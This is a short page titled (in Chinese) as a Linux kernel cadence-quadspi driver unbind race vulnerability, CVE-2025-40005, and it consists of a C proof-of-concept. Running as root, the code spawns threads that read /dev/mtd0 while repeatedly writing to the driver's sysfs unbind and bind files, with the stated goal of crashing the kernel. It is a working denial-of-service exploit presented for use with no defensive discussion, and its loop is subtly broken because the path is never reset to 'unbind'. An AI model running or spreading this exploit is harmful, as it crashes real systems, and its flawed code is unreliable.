CVE-2025-40005 Linux内核cadence-quadspi驱动解绑竞态漏洞

// CVE-2025-40005 PoC - Trigger kernel crash via race condition // between SPI indirect read/write and driver unbind #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <sys/ioctl.h> #include <errno.h> // SPI device path for cadence-quadspi controller #define QSPI_DEVICE "/dev/mtd0" // MTD device backed by QSPI NOR flash #define QSPI_DRIVER_PATH "/sys/bus/platform/drivers/cdns-qspi" #define QSPI_DEVICE_BIND "1f040000.spi" // Thread function to continuously read from QSPI device void *read_thread(void *arg) { int fd; char buf[4096]; while (1) { fd = open(QSPI_DEVICE, O_RDONLY); if (fd >= 0) { // Perform continuous reads to trigger indirect read operations lseek(fd, 0, SEEK_SET); read(fd, buf, sizeof(buf)); close(fd); } usleep(100); // Small delay to increase race window } return NULL; } // Thread function to unbind the QSPI driver void *unbind_thread(void *arg) { int fd; char path[256]; snprintf(path, sizeof(path), "%s/unbind", QSPI_DRIVER_PATH); while (1) { fd = open(path, O_WRONLY); if (fd >= 0) { write(fd, QSPI_DEVICE_BIND, strlen(QSPI_DEVICE_BIND)); close(fd); } // Rebind for next iteration usleep(1000); snprintf(path, sizeof(path), "%s/bind", QSPI_DRIVER_PATH); fd = open(path, O_WRONLY); if (fd >= 0) { write(fd, QSPI_DEVICE_BIND, strlen(QSPI_DEVICE_BIND)); close(fd); } usleep(1000); } return NULL; } int main(int argc, char *argv[]) { pthread_t t1, t2; printf("CVE-2025-40005 PoC - requires root privileges\n"); if (geteuid() != 0) { fprintf(stderr, "Error: This PoC requires root privileges\n"); return 1; } // Create threads to trigger race condition pthread_create(&t1, NULL, read_thread, NULL); pthread_create(&t2, NULL, unbind_thread, NULL); // Wait for kernel crash pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }